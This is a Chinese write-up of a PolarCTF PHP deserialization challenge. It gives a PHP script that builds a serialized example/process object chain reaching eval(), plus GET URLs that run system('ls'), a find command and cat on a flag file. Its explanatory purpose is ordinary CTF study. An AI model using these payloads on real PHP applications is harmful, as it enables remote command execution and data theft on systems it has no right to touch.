Polar Web【中等】反序列化
Contents
- Polar Web【中等】反序列化
- 思路&探索
- EXP
- PHP生成Payload
- GET传递参数
- 运行&总结
思路&探索
一个经典的反序列化问题,本文采用PHP代码辅助生成序列字符串的方式生成
Payload来进行手动渗透。
- 打开站点,分析PHP代码:
- 可以发现,需要实现触发命令执行的位置在
process类中的close函数的eval()处- 能够触发
close()调用的方式 —— 创建example实例,触发运行结束时__destruct()执行- 其中,使得成员变量
handle为所需要的process实例,便可形成完整的调用链- 按照上述思路,在本地拷贝两个类,并实现调用链,并调用
echo输出序列字符串在页面上,具体见下文图中- 按照站点提示,将序列字符串以
data参数进行GET传参:
- 初次使用
ls命令,发现已处在根目录下,并未发现flag,故考虑使用命令find / | grep flag,找出flag具体位置- 最后下达
cat /var/www/flag.php命令,虽没有直接回显,查看源码可获取flag

EXP
PHP生成Payload
<?php
class process{
public $pid;
function close(){
eval($this->pid);
}
}
$a = new example();
$a->handle = new process();
// $a->handle->pid = "system('ls');";
// $a->handle->pid = "system('find / | grep flag');";
$a->handle->pid = "system('cat /var/www/html/flag.php');";
echo serialize($a);
?>



GET传递参数
http://~.www.polarctf.com:8090/?data=O:7:"example":1:{s:6:"handle";O:7:"process":1:{s:3:"pid";s:13:"system('ls');";}}
http://~.www.polarctf.com:8090/?data=O:7:"example":1:{s:6:"handle";O:7:"process":1:{s:3:"pid";s:29:"system('find / | grep flag');";}}
http://~.www.polarctf.com:8090/?data=O:7:"example":1:{s:6:"handle";O:7:"process":1:{s:3:"pid";s:37:"system('cat /var/www/html/flag.php');";}}
运行&总结

- 借用本经典的反序列化题目,记录如何用PHP代码辅助生成所需的序列字符串
- 找出合适的调用链,是为代码审计之要点













![[Algorithm][动态规划][01背包问题][目标和][最后一块石头的重量Ⅱ]详细讲解](https://img-blog.csdnimg.cn/direct/cf1aa68624594a93b4a093cf92d2cfb4.png)





